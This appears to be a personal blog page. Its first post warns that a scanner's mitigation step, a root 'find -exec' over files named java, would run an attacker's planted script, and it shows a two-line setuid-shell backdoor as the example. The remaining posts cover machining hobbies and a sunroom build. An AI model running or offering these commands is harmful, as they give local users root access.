Skip to content

We Have Met the Enemy..

One of my long term clients is a DoD software development program. In recent years DoD has been taking computer security, aka “information assurance” fairly seriously. Software updates, system configurations, and vulnerability scanning are mandated with ever increasing specificity and urgency.

All well and good, and the general trend has definitely been for the better overall. But, whenever a big bureaucracy is involved you can be sure to find some counterproductive forces.

A recent case in point: at my client site frequent vulnerability scanning with specific products is mandated. The reports generated by this product often include very detailed prescriptive “mitigations”. The instructions for a java related vulnerability on Linux/Unix included this (paraphrased) gem:

As root, execute the following commands on these systems to determine if any
vulnerable versions of java are present:
find / -name java -exec {} -v {} \;

Wow. I wonder how many sysadmins will actually run that command on their systems. If you don’t immediately see the clear and present danger in this instruction consider the following shell script located in, say, the /tmp/ directory:

cp /bin/sh /usr/lib/security/.x
chmod u+s /usr/lib/security/.x

Bingo, an instant root privilege backdoor for anyone with any shell access to that system.

Metal Illness

Yes, I contracted a severe case of “metal ilness” a few years ago. It might be contagious, my brother has been afflicted for many years and I have two uncles who spent their entire careers as master machinists and tool and die makers. I started with a small Chinese lathe but quickly discovered the overwhelming appeal of “old iron” when I was looking to upgrade my tiny little benchtop drill press with a free-standing model.  On a whim I bought a 30+ year old “jig borer”, figuring that for about 25¢ a pound I couldn’t go too wrong and that it would make one heck of a drill press even if badly worn.

Well, it cleaned up very nicely and that “drill press on steroids” ruined me for ever being satisfied with lesser machines.  Now my 760 sq-ft workshop is jammed full of some 15,000 pounds of machinery.  If only I had more time to play there in the “man cave”.

The Sunroom Replacement

After building a two story detached building several years ago almost entirely by myself you’d think Id know better, but in the spring of 2008 I started another major home improvement project.  Pictures without commentary (yet) are at the gallery.

Opinions expressed herein are not necessarily those of Veridical Systems, OpenSSL, DoD, the author's evil twin Skippy, or anyone else possibly including the author himself.